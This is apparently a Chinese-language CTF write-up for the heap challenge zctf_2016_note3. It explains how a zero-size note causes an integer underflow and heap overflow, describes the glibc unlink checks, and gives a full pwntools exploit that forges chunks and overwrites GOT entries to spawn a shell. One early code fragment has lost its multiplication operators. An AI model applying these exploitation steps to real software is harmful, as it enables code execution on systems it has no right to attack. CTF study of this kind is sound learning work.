ELF64位堆题,开了canary和NX

在add函数中发现heap[i+8]中存放着我们创建堆的大小且为有符号的64位int且大小可以为0

而在edit函数中他作为参数传进sub_4008DD


而i是无符号整数,当我们输入堆的大小为0时,a2-1变成0xFFFFFFFF,可以输入0xFFFFFFFF个字节造成的堆的溢出,堆溢出+没开启PIE则可与使用unlink
unlink原理:
我们在free一个大小能够进入unsorted bin的堆块的前会检查其size的最后一位(PREV_INUSE),如果为0表示其上一个堆块已经释放,通过大小检查后将指向堆块的指针移到p-pre size处,并且有指针检查
//大小检查
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
//指针指向检查
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

我们伪造堆块时要注意伪造堆块的大小要和下一个堆块的pre size相等并且伪造堆块指针FD->bk=p,BK->fd=p,如果都满足则进入unlink阶段执行
FD->bk = BK
BK->fd = FD
我们可以构成内存的任意写,如下文所述。
回到题目
from pwn import p64,p32,u64,u32,p8
from pwncli import *
from LibcSearcher import *
file_name='./zctf_2016_note3'
debug =0
if debug:
p = remote("node5.buuoj.cn",26474)
else:
p = process(file_name)
context(os="linux",log_level="debug")
elf=ELF(file_name)
libc=ELF("/root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
context.arch=elf.arch
input=b'option--->>'
def show_addr(name,a):
print(f"{name}----------->"+hex(a))
def add(size,content):
p.recvuntil(input)
p.sendline(b'1')
p.recvuntil(b"Input the length of the note content:(less than 1024)")
p.sendline(str(size).encode())
p.recvuntil(b"Input the note content:")
p.sendline(content)
def free(index):
p.recvuntil(input)
p.sendline(b'4')
p.recvuntil(b"Input the id of the note:")
p.sendline(str(index).encode())
def edit(id,content):
p.recvuntil(input)
p.sendline(b'3')
p.recvuntil(b"Input the id of the note:")
p.sendline(str(id).encode())
p.recvuntil(b"Input the new content:")
p.sendline(content)
# def show():
# p.recvuntil(input)
# p.sendline(b'2')
ptr=0x6020d0
add(0x0,b'aaa')#chunk0
add(0x40,b'bbb')#chunk1
add(0x80,b'ccc')#chunk2
add(0x80,b'ccc')#chunk3
add(0x80,b'ccc')#chunk4
我们先创建几个堆块,注意我们free的堆块大小能进入unsorted bin,我们编辑堆块0,在堆块1中创建假堆块,将存放堆块指针的数组的地址作为假fd和bk的初始值

ptr=0x6020d0
fake_fd=ptr-0x18
fake_bk=ptr-0x10
edit(0,b'a'0x10+p64(0)+p64(0x51)+p64(0)+p64(0x41)+p64(fake_fd)+p64(fake_bk)+b"1"0x20+p64(0x40)+p64(0x90))
堆块1的空间

我们修改fake pre siez为0x40,释放后p变成(0x258b070-0x40=0x258b030)通过大小检查,修改下一个堆块的PREV_INUSE为使其认为上一个堆块已经释放可以合并,在指针检查处,0x6020c8(ptr)存放这我们所有的堆块,我们要满足FD->bk=p,BK->fd=p,而p=0x258b030,应选择0x6020d0来伪造,

FD->bk=p

BK->fd=p

我们free(2)后即可得到
FD->bk = BK 0x6020d0=0x6020c0
BK->fd = FD 0x6020d0=0x6020b8
向存放堆地址的数组中写入p-0x18的位置

0x6020d0地址对应堆块1的位置,当我们向堆块1中写入数据时就写入到0x6020b8,我们写入3个数据后就可用覆盖0x6020d0位置数据,我们可用将free和atoi的got表写在堆上通过修改堆数据来对got进行修改
edit(1,p64(2)*2+p64(elf.got['free'])+p64(elf.got['atoi'])*3)

再次对堆进行修改即可改变got表,将free改为puts我们free一个堆块时造成libc地址泄露,得到system地址修改atoi的got为system,输入/bin/sh得到shell
edit(0,p64(elf.sym['puts'])[:-1])
free(3)
atoi_address=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00"))
show_addr("atoi",atoi_address)
libc_base=atoi_address-0x36E90
system_addr=libc_base+libc.symbols["system"]
edit(1,p64(system_addr))
完整exp
from pwn import *
from pwn import p64,p32,u64,u32,p8
from pwncli import *
from LibcSearcher import *
file_name='./zctf_2016_note3'
debug =0
if debug:
p = remote("node5.buuoj.cn",26474)
else:
p = process(file_name)
context(os="linux",log_level="debug")
elf=ELF(file_name)
libc=ELF("/root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
context.arch=elf.arch
input=b'option--->>'
def show_addr(name,a):
print(f"{name}----------->"+hex(a))
def add(size,content):
p.recvuntil(input)
p.sendline(b'1')
p.recvuntil(b"Input the length of the note content:(less than 1024)")
p.sendline(str(size).encode())
p.recvuntil(b"Input the note content:")
p.sendline(content)
def free(index):
p.recvuntil(input)
p.sendline(b'4')
p.recvuntil(b"Input the id of the note:")
p.sendline(str(index).encode())
def edit(id,content):
p.recvuntil(input)
p.sendline(b'3')
p.recvuntil(b"Input the id of the note:")
p.sendline(str(id).encode())
p.recvuntil(b"Input the new content:")
p.sendline(content)
# def show():
# p.recvuntil(input)
# p.sendline(b'2')
add(0x0,b'aaa')
add(0x40,b'bbb')
add(0x80,b'ccc')
add(0x80,b'ccc')
add(0x80,b'ccc')
ptr=0x6020d0
fake_fd=ptr-0x18
fake_bk=ptr-0x10
edit(0,b'a'*0x10+p64(0)+p64(0x51)+p64(0)+p64(0x41)+p64(fake_fd)+p64(fake_bk)+b"1"*0x20+p64(0x40)+p64(0x90))
free(2)
edit(1,p64(2)*2+p64(elf.got['free'])+p64(elf.got['atoi'])*3)
edit(0,p64(elf.sym['puts'])[:-1])
free(3)
atoi_address=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00"))
show_addr("atoi",atoi_address)
libc_base=atoi_address-0x36E90
system_addr=libc_base+libc.symbols["system"]
edit(1,p64(system_addr))
#gdb.attach(proc.pidof(p)[0])
p.interactive()
Comments NOTHING